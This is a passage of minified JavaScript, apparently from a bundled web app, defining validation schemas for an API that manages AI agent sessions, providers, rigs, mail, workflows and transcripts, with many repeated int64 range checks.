9223372036854775807"}),unread:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({body:o().optional(),from:o().optional(),subject:o().optional()});h({body:o().optional(),from:o().optional(),rig:o().optional(),subject:o().min(1),to:o().min(1)});const nv=h({body:o(),cc:P(o()).nullish(),created_at:N({offset:!0}),from:o(),id:o(),priority:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),read:Z(),reply_to:o().optional(),rig:o().optional(),subject:o(),thread_id:o().optional(),to:o()}),mt=h({message:nv.optional(),rig:o()});h({items:P(nv).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const rv=h({attached_bead_id:o().optional(),bead_id:o().optional(),detail_available:Z().optional(),id:o(),logical_bead_id:o().optional(),root_bead_id:o().optional(),root_store_ref:o().optional(),run_detail_available:Z().optional(),scope_kind:o(),scope_ref:o(),started_at:o(),status:o(),store_ref:o().optional(),target:o(),title:o(),type:o(),updated_at:o(),workflow_id:o().optional()});h({items:P(rv).nullable(),partial:Z(),partial_errors:P(o()).nullish()});const ve=fe(o(),$a());h({status:o()});h({id:o().optional(),status:o()});const Vw=h({label:o(),value:o()}),Ww=h({due:Z(),last_run:o().optional(),last_run_outcome:o().optional(),name:o(),reason:o(),rig:o().optional(),scoped_name:o()});h({checks:P(Ww).nullable()});h({bead_id:o(),created_at:o(),labels:P(o()).nullable(),output:o(),store_ref:o()});const Hw=h({bead_id:o(),capture_output:Z(),created_at:o(),duration_ms:o().optional(),error:o().optional(),exit_code:o().optional(),has_output:Z(),labels:P(o()).nullable(),name:o(),rig:o().optional(),scoped_name:o(),signal:o().optional(),store_ref:o(),wisp_root_id:o().optional()});h({entries:P(Hw).nullable()});const Gw=h({capture_output:Z(),check:o().optional(),description:o().optional(),enabled:Z(),exec:o().optional(),formula:o().optional(),gate:o().optional(),interval:o().optional(),name:o(),on:o().optional(),pool:o().optional(),rig:o().optional(),schedule:o().optional(),scoped_name:o(),timeout:o().optional(),timeout_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),trigger:o().optional(),type:o()});h({orders:P(Gw).nullable()});h({items:P(rv).nullable(),partial:Z(),partial_errors:P(o()).nullish()});const Iu=h({conversation_id:o(),message_id:o(),provider:o(),session:o()}),Su=h({role:o(),text:o(),timestamp:o().optional()}),Jw=h({name:o(),path:o().optional(),ref:o().optional(),source:o().optional()});h({packs:P(Jw).nullable()});const La=h({has_older_messages:Z(),returned_message_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total_compactions:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total_message_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),truncated_before_message:o().optional()}),ov=h({agent:o(),format:o(),pagination:La.optional(),turns:P(Su).nullable()});h({agent_patch:o().optional(),provider_patch:o().optional(),rig_patch:o().optional(),status:o()});h({agent_patch:o().optional(),provider_patch:o().optional(),rig_patch:o().optional(),status:o()});const ku=h({kind:o(),metadata:fe(o(),o()).optional(),options:P(o()).nullish(),prompt:o().optional(),request_id:o()}),Kw=h({Check:o().nullable(),DrainTimeout:o().nullable(),Max:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),Min:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),OnBoot:o().nullable(),OnDeath:o().nullable()}),Qw=h({AppendFragments:P(o()).nullable(),Attach:Z().nullable(),DefaultSlingFormula:o().nullable(),DependsOn:P(o()).nullable(),Dir:o(),Env:fe(o(),o()),EnvRemove:P(o()).nullable(),HooksInstalled:Z().nullable(),IdleTimeout:o().nullable(),InjectAssignedSkills:Z().nullable(),InjectFragments:P(o()).nullable(),InjectFragmentsAppend:P(o()).nullable(),InstallAgentHooks:P(o()).nullable(),InstallAgentHooksAppend:P(o()).nullable(),Lifecycle:o().nullable(),MCP:P(o()).nullable(),MCPAppend:P(o()).nullable(),MaxActiveSessions:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),MaxSessionAge:o().nullable(),MaxSessionAgeJitter:o().nullable(),MinActiveSessions:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),MouseMode:o().nullable(),Name:o(),Nudge:o().nullable(),OptionDefaults:fe(o(),o()),OverlayDir:o().nullable(),Pool:Kw,PreStart:P(o()).nullable(),PreStartAppend:P(o()).nullable(),PromptTemplate:o().nullable(),Provider:o().nullable(),ResumeCommand:o().nullable(),ScaleCheck:o().nullable(),Scope:o().nullable(),Session:o().nullable(),SessionLive:P(o()).nullable(),SessionLiveAppend:P(o()).nullable(),SessionSetup:P(o()).nullable(),SessionSetupAppend:P(o()).nullable(),SessionSetupScript:o().nullable(),Skills:P(o()).nullable(),SkillsAppend:P(o()).nullable(),SleepAfterIdle:o().nullable(),StartCommand:o().nullable(),Suspended:Z().nullable(),TmuxAlias:o().nullable(),WakeMode:o().nullable(),WorkDir:o().nullable()});h({items:P(Qw).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const bu=h({host:o(),port:o(),scope_kind:o(),scope_name:o(),source:o(),user:o()}),zu=h({layer:o(),new_id:o(),old_id:o().optional(),scope_root:o(),source:o()});h({acp_args:P(o()).nullish(),acp_command:o().optional(),args:P(o()).nullish(),args_append:P(o()).nullish(),base:o().optional(),command:o().optional(),display_name:o().optional(),env:fe(o(),o()).optional(),name:o().min(1),option_defaults:fe(o(),o()).optional(),options_schema_merge:o().optional(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});h({provider:o(),status:o()});const Yw=h({choices:P(Vw).nullable(),default:o(),key:o(),label:o(),type:o()}),Xw=h({ACPArgs:P(o()).nullable(),ACPCommand:o().nullable(),AcceptStartupDialogs:Z().nullable(),Args:P(o()).nullable(),ArgsAppend:P(o()).nullable(),Base:o().nullable(),Command:o().nullable(),Env:fe(o(),o()),EnvRemove:P(o()).nullable(),Name:o(),OptionsSchemaMerge:o().nullable(),PromptFlag:o().nullable(),PromptMode:o().nullable(),ReadyDelayMs:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),Replace:Z()});h({items:P(Xw).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({accept_startup_dialogs:Z().optional(),acp_args:P(o()).nullish(),acp_command:o().optional(),args:P(o()).nullish(),command:o().optional(),env:fe(o(),o()).optional(),name:o().optional(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});const e5=h({builtin:Z(),city_level:Z(),display_name:o().optional(),effective_defaults:fe(o(),o()).optional(),name:o(),options_schema:P(Yw).nullish()});h({items:P(e5).nullable(),next_cursor:o().optional(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const t5=h({detail:o().optional(),display_name:o(),status:o()});h({providers:fe(o(),t5)});const n5=h({acp_args:P(o()).optional(),acp_command:o().optional(),args:P(o()).nullish(),builtin:Z(),city_level:Z(),command:o().optional(),display_name:o().optional(),env:fe(o(),o()).optional(),name:o(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});h({items:P(n5).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const r5=h({acp_args:P(o()).optional(),acp_command:o().optional(),args:P(o()).nullish(),command:o().optional(),display_name:o().optional(),env:fe(o(),o()).optional(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});h({acp_args:P(o()).nullish(),acp_command:o().optional(),args:P(o()).nullish(),args_append:P(o()).nullish(),base:o().optional(),command:o().optional(),display_name:o().optional(),env:fe(o(),o()).optional(),option_defaults:fe(o(),o()).optional(),options_schema_merge:o().optional(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});const o5=h({Conversation:Yt,Delivered:Z(),FailureKind:o(),MessageID:o(),Metadata:fe(o(),o()),RetryAfter:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),i5=h({detail:o().optional(),display_name:o(),kind:o(),name:o(),status:o()});h({items:fe(o(),i5)});const Cu=h({error_code:o(),error_message:o(),operation:Kt(["city.create","city.unregister","session.create","session.message","session.submit"]),request_id:o()});h({action:o(),failed:P(o()).nullish(),killed:P(o()).nullish(),rig:o(),status:o()});h({default_branch:o().optional(),name:o().min(1),path:o().min(1),prefix:o().optional()});h({rig:o(),status:o()});const a5=h({DefaultBranch:o().nullable(),FormulaVars:fe(o(),o()),Name:o(),Path:o().nullable(),Prefix:o().nullable(),Suspended:Z().nullable()});h({items:P(a5).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({default_branch:o().optional(),name:o().optional(),path:o().optional(),prefix:o().optional(),suspended:Z().optional()});const s5=h({agent_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),default_branch:o().optional(),git:Uw.optional(),last_activity:N({offset:!0}).optional(),name:o(),path:o(),prefix:o().optional(),running_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:Z()});h({items:P(s5).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({default_branch:o().optional(),path:o().optional(),prefix:o().optional(),suspended:Z().optional()});const Tu=h({prior_archive:o(),prior_first_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),prior_last_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),l5=fe(o(),$a());h({action:o(),service:o(),status:o()});const iv=h({activity:o()});h({messages:P(Jn()).nullable(),status:o().optional()});h({agents:P(ww).nullable()});const Bu=h({BindingGeneration:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),BoundAt:N({offset:!0}),Conversation:Yt,ExpiresAt:N({offset:!0}).nullable(),ID:o(),Metadata:fe(o(),o()),SchemaVersion:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SessionID:o(),Status:Iw});h({unbound:P(Bu).nullable()});h({items:P(Bu).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({alias:o().optional(),async:Z().optional(),kind:o().optional(),message:o().optional(),name:o().optional(),options:fe(o(),o()).optional(),project_id:o().optional(),session_name:o().optional(),title:o().optional()});const Ru=h({bead_id:o(),bead_status:o().optional(),reason:o().optional(),session_id:o(),template:o().optional()}),u5=h({attached:Z(),last_activity:N({offset:!0}).optional(),name:o()}),c5=h({active_bead:o().optional(),activity:o().optional(),available:Z(),context_pct:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),context_window:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),description:o().optional(),display_name:o().optional(),last_output:o().optional(),model:o().optional(),name:o(),pool:o().optional(),provider:o().optional(),rig:o().optional(),running:Z(),session:u5.optional(),state:o(),suspended:Z(),unavailable_reason:o().optional()});h({items:P(c5).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const yr=h({reason:o().optional(),session_id:o(),template:o().optional()});h({message:o().min(1).regex(/\S/)});const Pu=h({request_id:o(),session_id:o()});h({alias:o().optional(),title:o().min(1).optional()});h({pending:ku.optional(),supported:Z()});h({permission_mode:o().min(1).regex(/\S/)});const av=Jn();h({title:o().min(1)});h({action:o().min(1),metadata:fe(o(),o()).optional(),request_id:o().optional(),text:o().optional()});h({id:o(),status:o()});Yn([iv,ku,oo]);const d5=h({format:o(),id:o(),pagination:La.optional(),provider:o(),template:o(),turns:P(Su).nullable()}),p5=h({format:o(),id:o(),messages:P(av).nullable(),pagination:La.optional(),provider:o(),template:o()}),Nu=h({intent:o(),queued:Z(),request_id:o(),session_id:o()});h({format:o(),id:o(),messages:P(av).nullish(),pagination:La.optional(),provider:o(),template:o(),turns:P(Su).nullish()});h({attached_bead_id:o().optional(),bead:o().optional(),force:Z().optional(),formula:o().optional(),rig:o().optional(),scope_kind:o().optional(),scope_ref:o().optional(),target:o().min(1),title:o().optional(),vars:fe(o(),o()).optional()});h({attached_bead_id:o().optional(),bead:o().optional(),formula:o().optional(),mode:o().optional(),root_bead_id:o().optional(),status:o(),target:o(),warnings:P(o()).nullish(),workflow_id:o().optional()});const f5=h({allow_websockets:Z().optional(),hostname:o().optional(),kind:o().optional(),local_state:o(),mount_path:o(),publication_state:o(),publish_mode:o(),reason:o().optional(),service_name:o(),state:o().optional(),state_root:o(),updated_at:N({offset:!0}),url:o().optional(),visibility:o().optional(),workflow_contract:o().optional()});h({items:P(f5).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const m5=h({quarantined:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),running:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),v5=h({draining:Z().optional(),expanded:Z().optional(),group_name:o().optional(),name:o(),qualified_name:o(),running:Z(),scale_label:o().optional(),scope:o(),session_name:o().optional(),suspended:Z()}),h5=h({total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),unread:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),g5=h({identity:o(),mode:o(),status:o()}),y5=h({suspended:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),_5=h({name:o(),path:o(),suspended:Z()}),w5=h({active:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),x5=h({last_gc_at:o().optional(),last_gc_status:o().optional(),live_rows:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),path:o(),ratio_mb_per_row:pr(),size_bytes:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),threshold_mb_per_row:pr(),warning:Z()}),E5=h({in_progress:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),open:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),ready:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({agent_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),agent_details:P(v5).nullish(),agents:m5,mail:h5,name:o(),named_session_details:P(g5).nullish(),partial:Z().optional(),partial_errors:P(o()).nullish(),path:o(),rig_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rig_details:P(_5).nullish(),rigs:y5,running:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_counts_detail:w5.optional(),store_health:x5.optional(),suspended:Z(),uptime_sec:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:o().optional(),work:E5});const Au=h({after_bytes:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),before_bytes:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),duration_s:pr(),snapshot_path:o()}),Ou=h({duration_s:pr(),error_msg:o(),snapshot_path:o().optional(),stage:o()}),I5=h({supports_follow_up:Z(),supports_interrupt_now:Z()}),sv=h({active_bead:o().optional(),activity:o().optional(),agent_kind:o().optional(),alias:o().optional(),attached:Z(),configured_named_session:Z().optional(),context_pct:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),context_window:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),created_at:o(),display_name:o().optional(),id:o(),kind:o().optional(),last_active:o().optional(),last_nudge_delivered_at:o().optional(),last_output:o().optional(),metadata:fe(o(),o()).optional(),model:o().optional(),options:fe(o(),o()).optional(),pool:o().optional(),provider:o(),reason:o().optional(),rig:o().optional(),running:Z(),session_name:o(),state:o(),submission_capabilities:I5.optional(),template:o(),title:o()});h({items:P(sv).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const ju=h({request_id:o(),session:sv}),S5=Kt(["default","follow_up","interrupt_now"]);h({intent:S5.optional(),message:o().min(1).regex(/\S/)});h({items:P(Sw).nullable(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const $u=h({avg60:pr(),consecutive_skips:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),max_consecutive_skips:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),outcome:o(),threshold:pr(),trigger:o().optional()}),Lu=h({client_addr:o().optional(),mode:Kt(["destructive","preserve_sessions","unknown"]),signal:o().optional(),source:Kt(["signal","socket_stop"])}),k5=h({phase:o().optional(),phases_completed:P(o()).nullish(),ready:Z()});h({build_id:o().optional(),cities_running:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),cities_total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),startup:k5.optional(),status:o(),uptime_sec:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:o()});const b5=Kt(["inbound","outbound"]),z5=Kt(["live","hydrated"]),Du=h({Actor:Km,Attachments:P(Qm).nullable(),Conversation:Yt,CreatedAt:N({offset:!0}),ExplicitTarget:o(),ID:o(),Kind:b5,Metadata:fe(o(),o()),Provenance:z5,ProviderMessageID:o(),ReplyToMessageID:o(),SchemaVersion:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),Sequence:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SourceSessionID:o(),Text:o()});h({Binding:Bu,GroupRoute:Zw,Message:Ym,TargetSessionID:o(),TranscriptEntry:Du});h({items:P(Du).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({DeliveryContext:Rw,Receipt:o5,TranscriptEntry:Du});const Mu=h({count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o()}),Fu=h({agent_name:o().optional(),bead_id:o().optional(),cache_creation_tokens:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),cache_read_tokens:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),completion_tokens:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),cost_usd_estimate:pr().optional(),delivered:Z().optional(),duration_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),error:o().optional(),finished_at:N({offset:!0}),latency_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),model:o().optional(),op_id:o(),operation:o(),prompt_sha:o().optional(),prompt_tokens:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),prompt_version:o().optional(),provider:o().optional(),queued:Z().optional(),result:o(),session_id:o().optional(),session_name:o().optional(),started_at:N({offset:!0}),template:o().optional(),transport:o().optional()}),lv=Yn([ti,gr,yu,_u,ni,wu,xu,Eu,mt,ve,Iu,bu,zu,Cu,Tu,ju,Ru,yr,Pu,Nu,Au,Ou,$u,Lu,Mu,Fu]),C5=h({active_attempt:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),attempt_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 